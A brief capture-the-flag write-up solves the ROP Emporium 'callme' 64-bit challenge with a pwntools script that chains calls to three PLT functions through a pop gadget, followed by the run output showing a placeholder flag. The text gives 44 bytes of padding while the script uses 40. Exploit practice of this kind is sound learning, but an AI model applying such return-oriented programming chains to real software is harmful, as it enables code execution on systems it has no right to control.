callme 64-bits

b0th

May 28, 2020

1 Problem

Reliably make consecutive calls to imported functions. Use some new techniques and learn about the Procedure Linkage Table.

2 Solve

We know we must call callme_one(), callme_two() and callme_three() in that order, each with the arguments 1,2,3 e.g. callme_one(1,2,3) to print the flag.

1. We need to find the padding as usual.

   In this case its 44 bytes.

2. We must find this three functions thanks to the Procedure Linkage Table.

   callme_one() adress: `0x0000000000401850`

   callme_two() adress: `0x0000000000401870`

   callme_three() adress: `0x0000000000401810`

3. we have to write the ROPchain, so i have made a solve.py:

```
from pwn import *

func_1=0x0000000000401850
func_2=0x0000000000401870
func_3=0x0000000000401810

gadget=0x0000000000401ab0

p='A'*40

p+=p64(0x0000000000401ab0)
p+=p64(0x1)+p64(0x2)+p64(0x3)
p+=p64(0x0000000000401850)

p+=p64(0x0000000000401ab0)
p+=p64(0x1)+p64(0x2)+p64(0x3)
p+=p64(0x0000000000401870)

p+=p64(0x0000000000401ab0)
p+=p64(0x1)+p64(0x2)+p64(0x3)
p+=p64(0x0000000000401810)

print p
```

4. After doing that, we can just pipe it into the binary.

```
# python solve.py | ./callme
callme by ROP Emporium
64bits

Hope you read the instructions...
> ROPE{a_placeholder_32byte_flag!
```